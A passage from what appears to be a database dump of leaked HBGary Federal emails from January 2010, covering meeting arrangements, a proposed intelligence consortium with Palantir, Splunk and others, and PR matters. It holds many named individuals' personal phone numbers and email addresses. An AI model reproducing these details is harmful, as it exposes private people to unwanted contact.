wrote:\r\n\r\n> Thanks Matt,\r\n>\r\n> It was great meeting you as well.  I will definately give you a ring  \r\n> next time we are out your way.\r\n>\r\n> Andy.  Give me another few weeks.  My clearances are just getting re- \r\n> instated since moving to a different company, but I definitely want  \r\n> to discuss a few things.\r\n>\r\n> Aaron\r\n>\r\n> On Jan 15, 2010, at 8:01 PM, Matt Sturges wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Great meeting you this week at the conference, hopefully the rest  \r\n>> of the week went well for you.\r\n>>\r\n>> Per our conversation, I\'ve cc\'d Andy Kemp from our team. Andy holds  \r\n>> a TS and covers our Intel side of the business.\r\n>>\r\n>> Andy, Aaron, recently took over as CEO for HB Gary Federal, but  \r\n>> came over from NG where he worked on a lot of interesting projects.  \r\n>> Specifically he has one that he wanted to talk to you about that  \r\n>> requires a clearance.\r\n>>\r\n>> I\'ve attached both of your vcards so you guys can connect.\r\n>>\r\n>> Aaron, let me know when you make it out west and we can hook up at  \r\n>> Apple.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Matt\r\n>>\r\n>>\r\n>>\r\n>> ---------------------------------------\r\n>> Matt Sturges\r\n>> Western Regional Sales Manager\r\n>> Department of Defense\r\n>> c. 650.868.2870\r\n>> f. 866-316-5404\r\n>> msturges@apple.com\r\n>> ---------------------------------------\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\nAndy Kemp\r\nHomeland Defense / National Programs\r\n\r\nApple Inc.\r\n11921 Freedom Drive\r\nSuite 600\r\nReston, Virginia\r\n20194\r\n\r\nakemp@apple.com\r\n240-988-3476\r\n\r\n\r\n\r\n\r\n\r\n',14794,'aaron_hbgary_com/14794.html'),(1360,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000366.M626547P3547Q1360.eml','brian@netwitness.com','Meeting','Hi Brian,\r\n\r\nI enjoyed our discussion, and I look forward to working more with Netwitness in the future.  Have you had a chance to talk with Amit regarding Netwitnesses participation in the cybersecurity group I discussed with you?  If you can participate in the discussion on Tuesday, it will a brief open discussion of the concept, introduction of other participants, and initial steps/ideas for integration.  So far NG Xetron, HBGary, HBGary Federal, Palantir, Splunk, and EndGames will be present.\r\n\r\nFollowing that I will be working with Xetron to set up an integration team and also working with my PR person for a press release.  The uniqueness here I think will not only be the combination of a full spectrum of cybersecurity capabilities but worked in an alliance format rather than as a large integrator selecting products.  As the alliance matures I think there are many possible positive outgrowths.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8018,'aaron_hbgary_com/8018.html'),(1361,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000366.M803438P3547Q1361.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,','Re: Meet this week?  Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','Rich,Thanks for putting together the meeting with Netwitness. &nbsp;I think they are interested in participating in the cybersecurity alliance.To restate the goals. &nbsp;To bring together a set of complementary capabilities that represent the full spectrum of cyber intelligence; HBGary, Palantir, Netwitness, Splunk, EndGame. &nbsp;Using HBGary Federal and NG Xetron as the integrators. &nbsp;Cybersecurity has to start with intelligence/knowledge, so rather than jumping too far as most do and trying to integrate security as well we will focus on the knowledge integration in the first step. &nbsp;Once we have a solid working architecture for integrating intelligence from the various feeds into Palantir, step two will be to integrate security technologies, such as McAffee ePO, Sourcefire, etc. &nbsp;Step three will be to develop automation, unified configurable interfaces, tighter integration between technologies.So far we have EndGame Systems, Palantir, HBGary. &nbsp;Splunk and Netwitness sound interested. &nbsp;I will be talking to Splunk folks tomorrow and hopefully hear back from Netwitness.Tuesday you and I will meet with EndGame Systems at 1pm to discuss a specific partnership on cybersecurity and IO things ;). &nbsp;At 3pm we will be meeting with the larger group in Palantir spaces to do introductions, open discussion on the concept, possible outgrowths. &nbsp;After that meeting I will start work on a press release for the alliance and start working with Xetron to set up the integration team.AaronOn Jan 19, 2010, at 10:04 AM, Rich Cummings wrote:FYI… I’ll let you know what comes back.&nbsp;From:&nbsp;Rich Cummings [mailto:rich@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, January 19, 2010 9:22 AMTo:&nbsp;\'Amit Yoran\'Subject:&nbsp;Meet this week? Integration discussion &amp; I want to introduce CEO of HBGary Federal - Aaron Barr&nbsp;Hey Amit,&nbsp;Can we get together this week to talk about some integration points of our technologies and some Govt contracts were going after this year? &nbsp;We’re getting into the services space with a new company we started in Nov called called HBGary Federal.&nbsp; This organization was started to do classified work and to extend the HBGary product line into that arena.&nbsp;&nbsp; HBGary’s CEO is Aaron Barr who comes to us from Northrop Grumman where he ran a book of business doing Information Operations for the last 15 or so years.&nbsp; &nbsp;&nbsp;I think we could team up to create some bleeding edge stuff.&nbsp; This week looks good for Aaron and I.&nbsp;Thanks,Rich&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8538,'aaron_hbgary_com/8538.html'),(1362,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000367.M25561P3547Q1362.eml','\"Bill Hornish\" <bhornish@splunk.com>','Re: virtual introduction','Sounds good Bill. &nbsp;I will give you a call at your office number?AaronOn Jan 21, 2010, at 5:13 PM, Bill Hornish wrote:\r\nSure. Let’s do a quick call around 10 tomorrow ? \r\n \r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com\r\nwww.splunk.com\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 05:42:12 -0800\r\nTo: Bill Hornish &lt;bhornish@splunk.com&gt;\r\nSubject: Re: virtual introduction\r\n\r\nThanks Bill,\r\n\r\nI would very much like to get together and discuss a few ideas with you. &nbsp;I am free most of the rest of the week or we can work on a time for next week.\r\n\r\nAaron\r\n\r\nOn Jan 20, 2010, at 5:28 PM, Bill Hornish wrote:\r\n\r\n\r\nHi Aaron,\r\n\r\nThanks for the intro email John. HB Gary looks like a very cool company. I saw you downloaded already. Joshua Hritz and I are with Splunk’s Federal Business Development team. &nbsp;I’m happy to tell you all about my personal experience as the PM of Network Monitoring and CIRT at the State Department for Mantech as an early adopter of Splunk. Joshua is working with engineers from HB Gary who have shown interest in Splunk already, and would work with you on partnership, etc.\r\n\r\nA little background on Splunk ? &nbsp;Splunk has been growing in the Federal Government since 2006. We have over 1,500 customers globally, and over 75% of the Federal Agencies are using Splunk. &nbsp;&nbsp;Splunk is software that revolutionizes how enterprises manage, secure and audit their IT data. &nbsp;It provides a way to quickly and efficiently process vast amounts of unstructured IT data intelligently, in order to deliver useful results. Splunk makes all organization’s IT data available for a variety of functions from Application Management, Security, Compliance and to Operations Management. &nbsp;Splunk’s software solution can rapidly scale to terabytes of data per day. \r\n\r\nWe look forward to hearing from you.\r\n\r\nThank you,\r\n\r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com &lt;x-msg://363/bhornish@splunk.com&gt; \r\nwww.splunk.com &lt;http://www.splunk.com&gt; \r\n\r\nFrom: John Farrell &lt;john@endgames.us &lt;x-msg://363/john@endgames.us&gt; &gt;\r\nDate: Wed, 20 Jan 2010 12:38:28 -0800\r\nTo: Aaron Barr &lt;aaron@hbgary.com &lt;x-msg://363/aaron@hbgary.com&gt; &gt;, Bill Hornish &lt;bhornish@splunk.com &lt;x-msg://363/bhornish@splunk.com&gt; &gt;\r\nSubject: virtual introduction\r\n\r\nAaron, Bill, \r\n\r\nAs a follow up to yesterday\'s meeting and calls, I would like to introduce you two and encourage you to get together soon. I\'ve worked with Bill for several years in his capacity with Mantech. He can explain Splunk and how it could support HB Gary Federal\'s business strategy. Additionally, his experience at Mantech may provide you with additional insight into ways you can partner with them too. You two can work out the details directly. Let me know how else I can assist. Talk with you soon. \r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us &lt;x-msg://363/john@endgames.us&gt; \r\n703.622.9025\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6179,'aaron_hbgary_com/6179.html'),(1363,'2010-01-22','\"Bill Hornish\" <bhornish@splunk.com>','/aaron@hbgary.com/new/1297000367.M442440P3547Q1363.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: virtual introduction','\r\n\r\nRe: virtual introduction\r\n\r\n\r\nYes. That&#8217;s the best #. Talk to you then.\r\n \r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com\r\nwww.splunk.com\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Fri, 22 Jan 2010 05:26:51 -0800\r\nTo: Bill Hornish &lt;bhornish@splunk.com&gt;\r\nSubject: Re: virtual introduction\r\n\r\nSounds good Bill. &nbsp;I will give you a call at your office number?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 21, 2010, at 5:13 PM, Bill Hornish wrote:\r\n\r\nSure. Let&#8217;s do a quick call around 10 tomorrow ? \r\n \r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com &lt;x-msg://588/bhornish@splunk.com&gt; \r\nwww.splunk.com &lt;http://www.splunk.com&gt; \r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com &lt;x-msg://588/aaron@hbgary.com&gt; &gt;\r\nDate: Thu, 21 Jan 2010 05:42:12 -0800\r\nTo: Bill Hornish &lt;bhornish@splunk.com &lt;x-msg://588/bhornish@splunk.com&gt; &gt;\r\nSubject: Re: virtual introduction\r\n\r\nThanks Bill,\r\n\r\nI would very much like to get together and discuss a few ideas with you. &nbsp;I am free most of the rest of the week or we can work on a time for next week.\r\n\r\nAaron\r\n\r\nOn Jan 20, 2010, at 5:28 PM, Bill Hornish wrote:\r\n\r\n\r\nHi Aaron,\r\n\r\nThanks for the intro email John. HB Gary looks like a very cool company. I saw you downloaded already. Joshua Hritz and I are with Splunk&#8217;s Federal Business Development team. &nbsp;I&#8217;m happy to tell you all about my personal experience as the PM of Network Monitoring and CIRT at the State Department for Mantech as an early adopter of Splunk. Joshua is working with engineers from HB Gary who have shown interest in Splunk already, and would work with you on partnership, etc.\r\n\r\nA little background on Splunk ? &nbsp;Splunk has been growing in the Federal Government since 2006. We have over 1,500 customers globally, and over 75% of the Federal Agencies are using Splunk. &nbsp;&nbsp;Splunk is software that revolutionizes how enterprises manage, secure and audit their IT data. &nbsp;It provides a way to quickly and efficiently process vast amounts of unstructured IT data intelligently, in order to deliver useful results. Splunk makes all organization&#8217;s IT data available for a variety of functions from Application Management, Security, Compliance and to Operations Management. &nbsp;Splunk&#8217;s software solution can rapidly scale to terabytes of data per day. \r\n\r\nWe look forward to hearing from you.\r\n\r\nThank you,\r\n\r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com &lt;x-msg://588/bhornish@splunk.com&gt; &nbsp;&lt;x-msg://363/bhornish@splunk.com &lt;x-msg://363/bhornish@splunk.com&gt; &gt; \r\nwww.splunk.com &lt;http://www.splunk.com&gt; &nbsp;&lt;http://www.splunk.com &lt;http://www.splunk.com/&gt; &gt; \r\n\r\nFrom: John Farrell &lt;john@endgames.us &lt;x-msg://588/john@endgames.us&gt; &nbsp;&lt;x-msg://363/john@endgames.us &lt;x-msg://363/john@endgames.us&gt; &gt; &gt;\r\nDate: Wed, 20 Jan 2010 12:38:28 -0800\r\nTo: Aaron Barr &lt;aaron@hbgary.com &lt;x-msg://588/aaron@hbgary.com&gt; &nbsp;&lt;x-msg://363/aaron@hbgary.com &lt;x-msg://363/aaron@hbgary.com&gt; &gt; &gt;, Bill Hornish &lt;bhornish@splunk.com &lt;x-msg://588/bhornish@splunk.com&gt; &nbsp;&lt;x-msg://363/bhornish@splunk.com &lt;x-msg://363/bhornish@splunk.com&gt; &gt; &gt;\r\nSubject: virtual introduction\r\n\r\nAaron, Bill, \r\n\r\nAs a follow up to yesterday\'s meeting and calls, I would like to introduce you two and encourage you to get together soon. I\'ve worked with Bill for several years in his capacity with Mantech. He can explain Splunk and how it could support HB Gary Federal\'s business strategy. Additionally, his experience at Mantech may provide you with additional insight into ways you can partner with them too. You two can work out the details directly. Let me know how else I can assist. Talk with you soon. \r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us &lt;x-msg://588/john@endgames.us&gt; &nbsp;&lt;x-msg://363/john@endgames.us &lt;x-msg://363/john@endgames.us&gt; &gt; \r\n703.622.9025\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16271,'aaron_hbgary_com/16271.html'),(1364,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000367.M696708P3547Q1364.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Federal Computer Week Article Published -- HBGary Federal Quoted','Thanks.Hopefully I should get better at messaging as we do more.About how many hours do you spend a month doing PR for HBGary?AaronOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:Hi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n&nbsp;\r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n&nbsp;\r\nIt may be part of a larger article -- we can review&nbsp;the print issue of the magazine when it becomes available on Monday.\r\n&nbsp;\r\nThanks again for participating in the interview.\r\n&nbsp;\r\nBest, Karen&nbsp;&nbsp;\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11224,'aaron_hbgary_com/11224.html'),(1365,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000367.M891752P3547Q1365.eml','johnrw@proinfomd.com','Meeting','Hey John,\r\n\r\nIt was nice to meet you and I am glad John made the introduction.\r\n\r\nCan I get a trial version of the software that I can play around with?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4051,'aaron_hbgary_com/4051.html'),(1366,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000368.M206655P3547Q1366.eml','\"Ted Vera\" <ted@hbgary.com>','Two companies to take a look at','I met with the owner of ProInfo yesterday, he develops a product called cauldron.  Let me know what you think.\r\nhttp://www.proinfomd.com/how.html\r\n\r\nAlso there is a popular product out there called Niksun.  I think it would be more of a second phase product for security, but let me know what you think.\r\n\r\nCan we spend a good amount of time on the phone today?  We have got to get the website data done, also want to get a requisition out.  Where did we leave off with the consulting agreement stuff?  DId you get any response from Robert or Brian?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14805,'aaron_hbgary_com/14805.html'),(1367,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000368.M461580P3547Q1367.eml','\"Jake Olcott\" <jacob.olcott@mail.house.gov>','Idea','Jake,\r\n\r\n\r\nI have put together a subset of highly capable companies for the purposes of improving threat intelligence, believing that we have to improve our knowledge of the threat before we can improve our security.  Once we have a better threat picture we integrate more proactive/reactive security capabilities and more effectively manage enterprise security based on our knowledge of the threat.\r\n\r\nA good cyber intelligence capability needs to cover and integrate all areas of cyber: executable, host, network, internet, and social analysis.  These companies represent a best of breed, complete end-to-end cyber intelligence picture.  Using Palantir as the framework for organizing the data feeds from the other companies and overlaying that data with other social network analysis.\r\n\r\nApplication - HBGary (automated malware detection based on traits and code fingerprinting)\r\nHost - Splunk (host based security monitoring)\r\nNetwork - Netwitness (Network Forensics, full textual analysis)\r\nInternet - EndGames (External network monitoring, botnet C2 monitoring, zero days)\r\nSocial - Palantir (link analysis framework for intelligence)\r\n\r\nI am bringing these companies together in an consortium, they have all bought in.  Rather than a typical integrator model, keeping the product companies at arms length, a consortium puts us all on a more level playing field and forces us to think about the right solution rather than a particular offering.\r\n\r\nAs we talked about before.  There are significant organizational and contractual impedance\'s from bringing together the necessary pieces to enhance our cybersecurity.  So it occured to me, why not do for cyber intelligence what Space-X did for space exploration and satellite deployments.  Forget the bureaucracy, develop the complete solution externally from the mad house.  The individual products from these companies alone are significant, imagine what can be produced once we integrate them.\r\n\r\nWhat do you think?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16134,'aaron_hbgary_com/16134.html'),(1368,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000368.M714014P3547Q1368.eml','\"Ted Vera\" <ted@hbgary.com>','add to watch list','https://www.fbo.gov/index?_atwl=614426d2dc9cd5247faded74da2e3af9\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3580,'aaron_hbgary_com/3580.html'),(1369,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000369.M256176P3547Q1369.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>','BAA_10-004_Computer_Network_Defense.pdf','I think our consortium is a very good fit for this BAA.  What do you say we write it up and submit it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12375,'aaron_hbgary_com/12375.html'),(1370,'2010-01-22','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000369.M446096P3547Q1370.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: BAA_10-004_Computer_Network_Defense.pdf','Agree totally.  There is also an Army one that I still have yet to find\r\nbut it is written in the same manner.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 22, 2010 9:00 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Ted Vera\r\nSubject: BAA_10-004_Computer_Network_Defense.pdf \r\n\r\nI think our consortium is a very good fit for this BAA.  What do you say\r\nwe write it up and submit it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1732,'aaron_hbgary_com/1732.html'),(1371,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000369.M654603P3547Q1371.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>','BAA-08-08-RIKA','What about this one as well?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2366,'aaron_hbgary_com/2366.html'),(1372,'2010-01-22','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000369.M848231P3547Q1372.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Congratulations','Aaron, will schedule.\r\n\r\nThank you,\r\nIrene\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 20, 2010 5:22 PM\r\nTo: Harris, Irene G (TASC Inc)\r\nSubject: Re: Congratulations\r\n\r\nHow about Jan. 29th 9am.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 20, 2010, at 3:05 PM, \"Harris, Irene G (TASC Inc)\"\r\n wrote:\r\n\r\n> Aaron,\r\n> Al is available the following dates and times.\r\n>\r\n> Friday, 29 January - 9-9:30 am, 11 am - noon, 2-3 pm\r\n> Friday, 5 February 9-10 am, 11 am - noon, 2-3 pm\r\n>\r\n> Please let me know what works best for you.\r\n>\r\n> Thank you,\r\n> Irene Harris\r\n> Executive Assistant to Albert A. Pisani, Vice President\r\n> Intelligence Operations Business Unit\r\n> Office: 703-633-8473\r\n> BB: 703-201-7718\r\n> Fax: 703-449-3999\r\n> irene.harris@ngc.com\r\n> -----------------------------------\r\n>\r\n> TASC\r\n> 4807 Stonecroft Boulevard\r\n> Chantilly, VA 20151\r\n>\r\n> -----Original Message-----\r\n> From: Pisani, Albert A.\r\n> Sent: Tuesday, January 19, 2010 4:38 PM\r\n> To: Aaron Barr\r\n> Cc: Harris, Irene G (TASC Inc); Lovegrove, John (TASC Inc)\r\n> Subject: RE: Congratulations\r\n>\r\n> Aaron:\r\n>\r\n> Good to hear from you.\r\n>\r\n> I will have Irene set something up.\r\n>\r\n> Look forward to meeting with you.\r\n>\r\n> AL\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 19, 2010 1:06 PM\r\n> To: Pisani, Albert A.\r\n> Subject: Congratulations\r\n>\r\n> Hi Al,\r\n>\r\n> I don\'t think I had yet congratulated you on your move to TASC.  I am\r\n> sure some bumpy roads but sounds promising.\r\n>\r\n> Do you have some time to catch up?  I would like to tell you about\r\n> some\r\n> of the things I am thinking about and working on related to\r\n> cybersecurity and information operations.  I am working to put\r\n> together\r\n> a cooperative of small, innovative business with complementary\r\n> technologies as one effort.  I think it could be promising.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',2896,'aaron_hbgary_com/2896.html'),(1373,'2010-01-22','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297000372.M987890P3547Q1373.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting (Aaron Barr/Al Pisani)','\r\n\r\n\r\n\r\n\r\nMeeting (Aaron Barr/Al Pisani)\r\n\r\n\r\n\r\n\r\nWhen: Friday, January 29, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: TASC Westfields 4, 4807 Stonecroft Blvd. Chantilly, VA 20151\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDirections and Parking:\r\n\r\nPlease refer to the attachment for directions.&nbsp; Visitor parking is in front of the building.\r\n\r\n &lt;&lt;TASC_Westfields_HCC_Campus.pdf&gt;&gt; \r\n\r\nSign-in/Escort\r\n\r\nUpon your arrival, please go to the lobby (main entrance) and sign-in with the guard.&nbsp; Please ask for Irene Harris (703-633-8473) for escort purposes.\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\nIrene Harris\r\nExecutive Assistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit\r\nOffice: 703-633-8473\r\nBB: 703-201-7718\r\nFax: 703-449-3999\r\nirene.harris@ngc.com\r\n-----------------------------------\r\n\r\n\r\n4807 Stonecroft Boulevard\r\n\r\nChantilly, VA 20151 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16236,'aaron_hbgary_com/16236.html'),(1374,'2010-01-22','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000373.M249651P3547Q1374.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Federal Computer Week Article Published -- HBGary Federal Quoted','Hi Aaron, I work between 20-30 hours/month depending on our activities. Penny wants me to keep&nbsp;my hours around those numbers. Best, Karen--- On Fri, 1/22/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, January 22, 2010, 5:31 AM\r\nThanks.\r\n\r\nHopefully I should get better at messaging as we do more.\r\n\r\nAbout how many hours do you spend a month doing PR for HBGary?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n&nbsp;\r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n&nbsp;\r\nIt may be part of a larger article -- we can review&nbsp;the print issue of the magazine when it becomes available on Monday.\r\n&nbsp;\r\nThanks again for participating in the interview.\r\n&nbsp;\r\nBest, Karen&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',1057,'aaron_hbgary_com/1057.html'),(1375,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000373.M512470P3547Q1375.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Federal Computer Week Article Published -- HBGary Federal Quoted','Begin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 22, 2010 9:40:59 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedHi Aaron, I work between 20-30 hours/month depending on our activities. Penny wants me to keep&nbsp;my hours around those numbers. Best, Karen--- On Fri, 1/22/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, January 22, 2010, 5:31 AM\r\nThanks.\r\n\r\nHopefully I should get better at messaging as we do more.\r\n\r\nAbout how many hours do you spend a month doing PR for HBGary?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n&nbsp;\r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n&nbsp;\r\nIt may be part of a larger article -- we can review&nbsp;the print issue of the magazine when it becomes available on Monday.\r\n&nbsp;\r\nThanks again for participating in the interview.\r\n&nbsp;\r\nBest, Karen&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13736,'aaron_hbgary_com/13736.html'),(1376,'2010-01-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000373.M708429P3547Q1376.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: add to watch list','The link doesn\'t take me to a specific opp - it takes me to the fbo.gov homepage.  What\'s the name of the opp?\r\n\r\nTed\r\n\r\nOn Jan 22, 2010, at 6:56 AM, Aaron Barr wrote:\r\n\r\n> https://www.fbo.gov/index?_atwl=614426d2dc9cd5247faded74da2e3af9\r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',16068,'aaron_hbgary_com/16068.html'),(1377,'2010-01-22','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000374.M17263P3547Q1377.eml','all@hbgary.com','Letter of acknowledgment','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning Everyone,\r\n\r\n&nbsp;\r\n\r\nJust a reminder I still need the letter of acknowledgment for\r\nthe handbook.&nbsp; For all of &nbsp;you who have already sent me the letter thank you.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14205,'aaron_hbgary_com/14205.html'),(1378,'2010-01-22','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297000374.M242567P3547Q1378.eml','all@hbgary.com','MANDIANT DDNA clone?','\r\n\r\nhttp://blog.mandiant.com/archives/741\r\n\r\nTheir \"Malware Rating Index\" sounds suspiciously similar to a DDNA\r\nscore.... Assad 